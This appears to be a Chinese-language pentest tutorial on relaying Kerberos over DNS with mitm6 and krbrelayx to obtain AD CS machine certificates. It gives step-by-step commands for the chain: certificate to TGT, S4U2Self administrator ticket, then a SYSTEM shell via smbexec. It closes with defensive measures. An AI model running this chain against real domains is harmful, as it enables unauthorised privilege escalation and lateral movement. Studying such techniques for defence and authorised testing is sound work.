使用 MITM6 通过 DNS 中继 Kerberos 身份验证
字数 1140 2025-08-29 08:32:30
使用 MITM6 通过 DNS 中继 Kerberos 身份验证技术详解
背景与原理
Kerberos 中继攻击的可行性
传统观点认为 Kerberos 协议由于服务主体名称(SPN)绑定机制难以被中继,但 James Forshaw 的研究证明通过控制 SPN 可以实现 Kerberos 中继攻击。关键发现包括:
- SPN 映射机制:许多服务类(如 DNS)会隐式映射到 HOST 类,而 HOST SPN 默认在所有计算机账户上设置
- 服务保护缺失:HTTP 等服务通常不支持签名保护,允许中继身份验证
- 通道绑定限制:Windows Kerberos AP_REQ 令牌默认支持通道绑定,但可通过注册表禁用
DNS 动态更新与 Kerberos 认证
Active Directory 中 DNS 动态更新过程使用 Kerberos 认证:
- 客户端查询 SOA 记录确定权威 DNS 服务器
- 尝试非安全更新被拒绝后,启动 TKEY 协商
- 使用 Kerberos 建立安全上下文(AP_REQ/AP_REP 交换)
- 使用 TSIG 密钥签名后续更新请求
攻击技术实现
所需工具
- mitm6:IPv6 DHCP 欺骗工具,可接管客户端 DNS
- krbrelayx:Kerberos 中继工具,支持中继到 HTTP/LDAP
攻击步骤详解
1. 设置中继目标
python3 krbrelayx.py --target http://adcs.pentest.com/certsrv/ -ip [攻击者IP] --victim [目标主机名] --adcs --template Machine
参数说明:
--target:AD CS Web 注册接口URL-ip:绑定DNS服务器的攻击者IP--victim:目标主机名--adcs:指定AD CS目标--template:证书模板(Machine)
2. 启动 mitm6 欺骗
mitm6 --domain [域名] --host-allowlist [目标主机名] --relay [AD CS主机名] -i [网卡] -v
3. 获取机器账户证书
成功中继后,krbrelayx 将获取目标机器账户的证书(Base64格式)
4. 使用证书获取TGT
python3 gettgtpkinit.py [域名]/[机器账户名]$ [输出缓存文件] -pfx-base64 $(cat [证书文件])
5. 通过S4U2Self获取高权限票据
python3 gets4uticket.py kerberos+ccache://[域名]\\[机器账户名]$:[TGT缓存文件]@[DC主机名] cifs/[目标主机名]@[域名] [管理员账户]@[域名] [输出缓存文件] -v
6. 使用票据获取系统权限
export KRB5CCNAME=[管理员票据缓存文件]
python3 smbexec.py -k [域名]/[管理员账户]@[目标主机名] -no-pass
防御措施
- 启用SMB签名:强制所有SMB通信使用签名
- 限制证书模板权限:严格控制Machine模板的注册权限
- 禁用IPv6:在不必要环境中禁用IPv6协议
- 实施EPA保护:为敏感服务启用扩展保护认证
- 监控异常DNS更新:检测异常的DNS动态更新行为
技术要点总结
- SPN控制:通过DNS服务映射到HOST类SPN实现中继
- 协议弱点:利用HTTP服务缺乏签名保护的特性
- AD CS滥用:通过证书注册获取机器账户凭据
- 权限提升:结合S4U2Self协议获取管理员权限
- 横向移动:最终获取目标系统SYSTEM权限
此技术展示了即使在禁用NTLM的环境中,Kerberos协议仍可能被滥用于权限提升和横向移动,强调了全面防御策略的重要性。